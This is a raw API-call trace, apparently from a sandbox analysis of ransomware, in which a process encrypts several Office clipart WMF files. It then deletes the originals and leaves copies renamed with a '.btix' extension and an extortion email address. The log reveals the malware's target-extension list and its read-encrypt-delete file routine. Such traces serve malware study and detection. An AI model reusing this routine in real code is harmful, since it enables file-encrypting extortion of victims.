[0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString=".dbf") returned 4 [0052.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString=".1cd") returned 4 [0052.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0052.273] lstrlenW (lpString=".jpg") returned 4 [0052.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.274] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.274] lstrlenW (lpString="AN04191_.WMF") returned 12 [0052.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.274] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=6636) returned 1 [0052.274] CloseHandle (hObject=0x2e0) returned 1 [0052.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220 [0052.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0052.274] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.274] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.275] GetLastError () returned 0x0 [0052.275] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x19ec, lpOverlapped=0x0) returned 1 [0052.289] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x19f0, lpOverlapped=0x0) returned 1 [0052.290] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.290] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.290] SetEndOfFile (hFile=0x364) returned 1 [0052.290] CloseHandle (hObject=0x364) returned 1 [0052.291] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.291] SetEndOfFile (hFile=0x2e0) returned 1 [0052.292] CloseHandle (hObject=0x2e0) returned 1 [0052.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0052.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.296] lstrlenW (lpString=".doc") returned 4 [0052.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.296] lstrlenW (lpString=".docx") returned 5 [0052.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.296] lstrlenW (lpString=".pdf") returned 4 [0052.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.296] lstrlenW (lpString=".xls") returned 4 [0052.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.296] lstrlenW (lpString=".xlsx") returned 5 [0052.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.296] lstrlenW (lpString=".ppt") returned 4 [0052.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString=".zip") returned 4 [0052.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.297] lstrlenW (lpString=".rar") returned 4 [0052.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString=".bz2") returned 4 [0052.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString=".7z") returned 3 [0052.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString=".dbf") returned 4 [0052.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString=".1cd") returned 4 [0052.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString=".jpg") returned 4 [0052.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.297] lstrlenW (lpString=".doc") returned 4 [0052.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString=".docx") returned 5 [0052.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.297] lstrlenW (lpString=".pdf") returned 4 [0052.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.297] lstrlenW (lpString=".xls") returned 4 [0052.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.297] lstrlenW (lpString=".xlsx") returned 5 [0052.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.297] lstrlenW (lpString=".ppt") returned 4 [0052.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.298] lstrlenW (lpString=".zip") returned 4 [0052.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.298] lstrlenW (lpString=".rar") returned 4 [0052.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.298] lstrlenW (lpString=".bz2") returned 4 [0052.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.298] lstrlenW (lpString=".7z") returned 3 [0052.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.298] lstrlenW (lpString=".dbf") returned 4 [0052.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.298] lstrlenW (lpString=".1cd") returned 4 [0052.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0052.298] lstrlenW (lpString=".jpg") returned 4 [0052.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.298] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.298] lstrlenW (lpString="AN04206_.WMF") returned 12 [0052.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.337] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=7668) returned 1 [0052.337] CloseHandle (hObject=0x308) returned 1 [0052.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0052.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.339] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.339] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.340] GetLastError () returned 0x0 [0052.340] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1df4, lpOverlapped=0x0) returned 1 [0052.370] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1e00, lpOverlapped=0x0) returned 1 [0052.371] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.371] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.371] SetEndOfFile (hFile=0x388) returned 1 [0052.441] CloseHandle (hObject=0x388) returned 1 [0052.454] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.454] SetEndOfFile (hFile=0x364) returned 1 [0052.455] CloseHandle (hObject=0x364) returned 1 [0052.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.457] lstrlenW (lpString=".doc") returned 4 [0052.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString=".docx") returned 5 [0052.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.457] lstrlenW (lpString=".pdf") returned 4 [0052.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString=".xls") returned 4 [0052.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.457] lstrlenW (lpString=".xlsx") returned 5 [0052.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.457] lstrlenW (lpString=".ppt") returned 4 [0052.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.457] lstrlenW (lpString=".zip") returned 4 [0052.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.457] lstrlenW (lpString=".rar") returned 4 [0052.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.457] lstrlenW (lpString=".bz2") returned 4 [0052.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString=".7z") returned 3 [0052.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString=".dbf") returned 4 [0052.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString=".1cd") returned 4 [0052.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString=".jpg") returned 4 [0052.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString=".doc") returned 4 [0052.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString=".docx") returned 5 [0052.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.458] lstrlenW (lpString=".pdf") returned 4 [0052.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString=".xls") returned 4 [0052.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.458] lstrlenW (lpString=".xlsx") returned 5 [0052.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.458] lstrlenW (lpString=".ppt") returned 4 [0052.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.458] lstrlenW (lpString=".zip") returned 4 [0052.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.458] lstrlenW (lpString=".rar") returned 4 [0052.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString=".bz2") returned 4 [0052.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.458] lstrlenW (lpString=".7z") returned 3 [0052.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.459] lstrlenW (lpString=".dbf") returned 4 [0052.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.459] lstrlenW (lpString=".1cd") returned 4 [0052.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0052.459] lstrlenW (lpString=".jpg") returned 4 [0052.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.459] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.459] lstrlenW (lpString="AN04269_.WMF") returned 12 [0052.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.461] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=2016) returned 1 [0052.461] CloseHandle (hObject=0x364) returned 1 [0052.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0052.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0052.462] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.462] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.465] GetLastError () returned 0x0 [0052.465] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x7e0, lpOverlapped=0x0) returned 1 [0052.600] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x7f0, lpOverlapped=0x0) returned 1 [0052.601] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0052.601] WriteFile (in: hFile=0x388, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0052.601] SetEndOfFile (hFile=0x388) returned 1 [0052.601] CloseHandle (hObject=0x388) returned 1 [0052.602] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0052.602] SetEndOfFile (hFile=0x364) returned 1 [0052.603] CloseHandle (hObject=0x364) returned 1 [0052.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString=".doc") returned 4 [0052.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString=".docx") returned 5 [0052.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.651] lstrlenW (lpString=".pdf") returned 4 [0052.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString=".xls") returned 4 [0052.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.651] lstrlenW (lpString=".xlsx") returned 5 [0052.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.651] lstrlenW (lpString=".ppt") returned 4 [0052.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString=".zip") returned 4 [0052.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.651] lstrlenW (lpString=".rar") returned 4 [0052.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString=".bz2") returned 4 [0052.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString=".7z") returned 3 [0052.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString=".dbf") returned 4 [0052.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString=".1cd") returned 4 [0052.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.651] lstrlenW (lpString=".jpg") returned 4 [0052.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.652] lstrlenW (lpString=".doc") returned 4 [0052.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString=".docx") returned 5 [0052.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.652] lstrlenW (lpString=".pdf") returned 4 [0052.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString=".xls") returned 4 [0052.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.652] lstrlenW (lpString=".xlsx") returned 5 [0052.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.652] lstrlenW (lpString=".ppt") returned 4 [0052.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.652] lstrlenW (lpString=".zip") returned 4 [0052.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.652] lstrlenW (lpString=".rar") returned 4 [0052.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString=".bz2") returned 4 [0052.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString=".7z") returned 3 [0052.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.652] lstrlenW (lpString=".dbf") returned 4 [0052.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0052.652] lstrlenW (lpString=".1cd") returned 4 [0052.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 